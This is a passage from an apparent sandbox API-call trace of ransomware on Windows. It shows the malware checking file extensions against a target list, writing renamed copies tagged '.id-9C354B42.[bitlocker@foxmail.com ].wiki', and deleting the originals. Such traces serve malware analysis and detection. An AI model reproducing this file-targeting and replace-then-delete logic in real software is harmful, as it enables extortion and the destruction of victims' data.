lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=630) returned 1 [0056.251] CloseHandle (hObject=0x180) returned 1 [0056.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc")) returned 0x20 [0056.251] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.251] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcjavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.251] lstrlenW (lpString=".doc") returned 4 [0056.251] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.251] lstrlenW (lpString=".docx") returned 5 [0056.251] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.251] lstrlenW (lpString=".pdf") returned 4 [0056.251] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.251] lstrlenW (lpString=".xls") returned 4 [0056.251] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.251] lstrlenW (lpString=".xlsx") returned 5 [0056.251] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.251] lstrlenW (lpString=".ppt") returned 4 [0056.251] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.251] lstrlenW (lpString=".zip") returned 4 [0056.251] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.251] lstrlenW (lpString=".rar") returned 4 [0056.252] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.252] lstrlenW (lpString=".bz2") returned 4 [0056.252] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.252] lstrlenW (lpString=".7z") returned 3 [0056.252] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.252] lstrlenW (lpString=".dbf") returned 4 [0056.252] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.252] lstrlenW (lpString=".1cd") returned 4 [0056.252] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.252] lstrlenW (lpString=".jpg") returned 4 [0056.252] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.252] lstrlenW (lpString=".doc") returned 4 [0056.252] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.252] lstrlenW (lpString=".docx") returned 5 [0056.252] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.252] lstrlenW (lpString=".pdf") returned 4 [0056.252] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.252] lstrlenW (lpString=".xls") returned 4 [0056.252] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.252] lstrlenW (lpString=".xlsx") returned 5 [0056.252] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.252] lstrlenW (lpString=".ppt") returned 4 [0056.252] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.252] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.252] lstrlenW (lpString=".zip") returned 4 [0056.252] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.252] lstrlenW (lpString=".rar") returned 4 [0056.252] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.252] lstrlenW (lpString=".bz2") returned 4 [0056.253] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.253] lstrlenW (lpString=".7z") returned 3 [0056.253] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.253] lstrlenW (lpString=".dbf") returned 4 [0056.253] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.253] lstrlenW (lpString=".1cd") returned 4 [0056.253] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55 [0056.253] lstrlenW (lpString=".jpg") returned 4 [0056.253] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.253] lstrcmpiW (lpString1=".inc", lpString2=".wiki") returned -1 [0056.253] lstrlenW (lpString="adcvbs.inc") returned 10 [0056.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0056.253] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=623) returned 1 [0056.253] CloseHandle (hObject=0x180) returned 1 [0056.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20 [0056.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.254] lstrlenW (lpString=".doc") returned 4 [0056.254] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.254] lstrlenW (lpString=".docx") returned 5 [0056.254] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.254] lstrlenW (lpString=".pdf") returned 4 [0056.254] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.254] lstrlenW (lpString=".xls") returned 4 [0056.254] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.254] lstrlenW (lpString=".xlsx") returned 5 [0056.254] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.254] lstrlenW (lpString=".ppt") returned 4 [0056.254] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.254] lstrlenW (lpString=".zip") returned 4 [0056.254] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.254] lstrlenW (lpString=".rar") returned 4 [0056.254] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.254] lstrlenW (lpString=".bz2") returned 4 [0056.254] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.254] lstrlenW (lpString=".7z") returned 3 [0056.254] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.254] lstrlenW (lpString=".dbf") returned 4 [0056.254] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.254] lstrlenW (lpString=".1cd") returned 4 [0056.254] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.254] lstrlenW (lpString=".jpg") returned 4 [0056.254] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.255] lstrlenW (lpString=".doc") returned 4 [0056.255] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.255] lstrlenW (lpString=".docx") returned 5 [0056.255] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.255] lstrlenW (lpString=".pdf") returned 4 [0056.255] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.255] lstrlenW (lpString=".xls") returned 4 [0056.255] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.255] lstrlenW (lpString=".xlsx") returned 5 [0056.255] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.255] lstrlenW (lpString=".ppt") returned 4 [0056.255] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.255] lstrlenW (lpString=".zip") returned 4 [0056.255] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.255] lstrlenW (lpString=".rar") returned 4 [0056.255] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.255] lstrlenW (lpString=".bz2") returned 4 [0056.255] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.255] lstrlenW (lpString=".7z") returned 3 [0056.255] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.255] lstrlenW (lpString=".dbf") returned 4 [0056.255] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.255] lstrlenW (lpString=".1cd") returned 4 [0056.255] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0056.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53 [0056.255] lstrlenW (lpString=".jpg") returned 4 [0056.255] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0056.255] lstrcmpiW (lpString1=".inc", lpString2=".wiki") returned -1 [0056.255] lstrlenW (lpString="oledbjvs.inc") returned 12 [0056.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0056.258] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=9804) returned 1 [0056.258] CloseHandle (hObject=0x180) returned 1 [0056.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0056.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0056.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0056.258] lstrlenW (lpString=".doc") returned 4 [0056.258] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0056.258] lstrlenW (lpString=".docx") returned 5 [0056.258] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0056.258] lstrlenW (lpString=".pdf") returned 4 [0056.258] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0056.258] lstrlenW (lpString=".xls") returned 4 [0056.258] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0056.258] lstrlenW (lpString=".xlsx") returned 5 [0056.258] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0056.258] lstrlenW (lpString=".ppt") returned 4 [0056.258] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0056.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0056.258] lstrlenW (lpString=".zip") returned 4 [0056.258] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0056.258] lstrlenW (lpString=".rar") returned 4 [0056.258] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0056.258] lstrlenW (lpString=".bz2") returned 4 [0056.259] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0056.259] lstrlenW (lpString=".7z") returned 3 [0056.259] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0056.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0056.259] lstrlenW (lpString=".dbf") returned 4 [0056.259] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0056.259] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.259] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.259] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.259] GetLastError () returned 0x0 [0056.259] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0xae, lpOverlapped=0x0) returned 1 [0056.260] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0056.261] ReadFile (in: hFile=0x180, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.261] WriteFile (in: hFile=0x214, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0056.261] SetEndOfFile (hFile=0x214) returned 1 [0056.261] CloseHandle (hObject=0x214) returned 1 [0056.261] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.261] SetEndOfFile (hFile=0x180) returned 1 [0056.262] CloseHandle (hObject=0x180) returned 1 [0056.262] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x26) returned 1 [0056.262] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0056.263] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.263] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.263] lstrlenW (lpString=".doc") returned 4 [0056.263] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0056.263] lstrlenW (lpString=".docx") returned 5 [0056.263] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0056.263] lstrlenW (lpString=".pdf") returned 4 [0056.263] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0056.263] lstrlenW (lpString=".xls") returned 4 [0056.263] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0056.263] lstrlenW (lpString=".xlsx") returned 5 [0056.263] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0056.263] lstrlenW (lpString=".ppt") returned 4 [0056.263] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0056.263] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.263] lstrlenW (lpString=".zip") returned 4 [0056.263] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0056.263] lstrlenW (lpString=".rar") returned 4 [0056.263] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0056.263] lstrlenW (lpString=".bz2") returned 4 [0056.263] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0056.263] lstrlenW (lpString=".7z") returned 3 [0056.263] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0056.263] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.263] lstrlenW (lpString=".dbf") returned 4 [0056.263] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0056.263] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.263] lstrlenW (lpString=".1cd") returned 4 [0056.263] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0056.263] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.263] lstrlenW (lpString=".jpg") returned 4 [0056.263] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0056.263] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.264] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.264] lstrlenW (lpString=".doc") returned 4 [0056.264] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0056.264] lstrlenW (lpString=".docx") returned 5 [0056.264] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0056.264] lstrlenW (lpString=".pdf") returned 4 [0056.264] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0056.264] lstrlenW (lpString=".xls") returned 4 [0056.264] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0056.264] lstrlenW (lpString=".xlsx") returned 5 [0056.264] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0056.264] lstrlenW (lpString=".ppt") returned 4 [0056.264] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0056.264] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.264] lstrlenW (lpString=".zip") returned 4 [0056.264] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0056.264] lstrlenW (lpString=".rar") returned 4 [0056.264] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0056.264] lstrlenW (lpString=".bz2") returned 4 [0056.264] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0056.264] lstrlenW (lpString=".7z") returned 3 [0056.264] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0056.264] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.264] lstrlenW (lpString=".dbf") returned 4 [0056.264] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0056.264] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.264] lstrlenW (lpString=".1cd") returned 4 [0056.264] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0056.264] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0056.264] lstrlenW (lpString=".jpg") returned 4 [0056.264] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0056.264] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.264] lstrlenW (lpString="DissolveAnother.png") returned 19 [0056.265] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0056.360] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=27935) returned 1 [0056.360] CloseHandle (hObject=0x1e8) returned 1 [0056.360] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png")) returned 0x20 [0056.360] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0056.360] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png" (normalized: "c:\\program files\\dvd maker\\shared\\dissolveanother.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.361] lstrlenW (lpString=".doc") returned 4 [0056.361] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.361] lstrlenW (lpString=".docx") returned 5 [0056.361] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0056.361] lstrlenW (lpString=".pdf") returned 4 [0056.361] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.361] lstrlenW (lpString=".xls") returned 4 [0056.361] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.361] lstrlenW (lpString=".xlsx") returned 5 [0056.361] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0056.361] lstrlenW (lpString=".ppt") returned 4 [0056.361] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.361] lstrlenW (lpString=".zip") returned 4 [0056.361] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.361] lstrlenW (lpString=".rar") returned 4 [0056.361] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.361] lstrlenW (lpString=".bz2") returned 4 [0056.361] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.361] lstrlenW (lpString=".7z") returned 3 [0056.361] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.361] lstrlenW (lpString=".dbf") returned 4 [0056.361] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.361] lstrlenW (lpString=".1cd") returned 4 [0056.361] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.361] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.361] lstrlenW (lpString=".jpg") returned 4 [0056.361] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.362] lstrlenW (lpString=".doc") returned 4 [0056.362] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0056.362] lstrlenW (lpString=".docx") returned 5 [0056.362] lstrcmpiW (lpString1=".docx", lpString2="r.png") returned -1 [0056.362] lstrlenW (lpString=".pdf") returned 4 [0056.362] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0056.362] lstrlenW (lpString=".xls") returned 4 [0056.362] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0056.362] lstrlenW (lpString=".xlsx") returned 5 [0056.362] lstrcmpiW (lpString1=".xlsx", lpString2="r.png") returned -1 [0056.362] lstrlenW (lpString=".ppt") returned 4 [0056.362] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0056.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.362] lstrlenW (lpString=".zip") returned 4 [0056.362] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0056.362] lstrlenW (lpString=".rar") returned 4 [0056.362] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0056.362] lstrlenW (lpString=".bz2") returned 4 [0056.362] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0056.362] lstrlenW (lpString=".7z") returned 3 [0056.362] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0056.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.362] lstrlenW (lpString=".dbf") returned 4 [0056.362] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0056.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.362] lstrlenW (lpString=".1cd") returned 4 [0056.362] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0056.362] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DissolveAnother.png") returned 53 [0056.362] lstrlenW (lpString=".jpg") returned 4 [0056.362] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0056.362] lstrcmpiW (lpString1=".png", lpString2=".wiki") returned -1 [0056.363] lstrlenW (lpString="16to9Squareframe_VideoInset.png") returned 31 [0056.363] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0056.440] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=3316) returned 1 [0056.440] CloseHandle (hObject=0x224) returned 1 [0056.440] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_videoinset.png")) returned 0x20 [0056.440] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_VideoInset.png.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd 